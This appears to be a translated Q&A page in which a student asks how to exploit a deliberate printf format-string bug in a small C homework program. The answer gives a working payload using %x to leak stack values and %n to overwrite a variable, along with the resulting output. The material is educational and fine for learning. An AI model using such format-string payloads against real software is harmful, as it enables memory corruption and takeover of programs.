在C中利用Printf漏洞

时间:2017-10-16 18:17:19

标签: c security

作为作业的一部分,我应该利用下面共享的C代码中的printf()漏洞。它应该是这样的,当我用字符串运行代码(例如./format“foo”)时,我应该用“其他”更改“X等于1”中的“1”。我相信我需要更改X变量的值,但如果您有不同的想法,请不要犹豫,分享。这是代码:

#include <stdio.h>
#include <stdlib.h>
int main (int argc, char **argv)
{
    int *p;
    int x = 1;
    p=&x;
    printf("x=%d, sizeof(x): %zu, %x = %p, sizeof((p):%zu,&p = %p, \n", x, sizeof(x), &x, sizeof(p),&p);
    printf(argv[1]);
    printf("\nX equals: %d \n", x);
    return 0;
}

1 个答案:

答案 0 :(得分:2)

如果没有正确使用验证,您可以找到关于打印漏洞的相当不错的信息(Format string attack)。

我用它玩了一点,当用这样的程序运行程序时:

./format "Bob %x %x %x %x %x %x %x %x%n" 

会导致以下打印:

x=1, sizeof(x): 4, &x = 0x7fffa9c36e14, sizeof((p):8,&p = 0x7fffa9c36e18,
Bob 81688000 81464ab0 3 81688048 3 a9c36f08 400410 a9c36f00
X equals: 59

如果您将%n替换为%x,您将能够看到变量x的地址。因为%x从进程内存读取并且%n写入进程内存,所以我能够更改x内的数据(59是最多为%n的字符数打印时)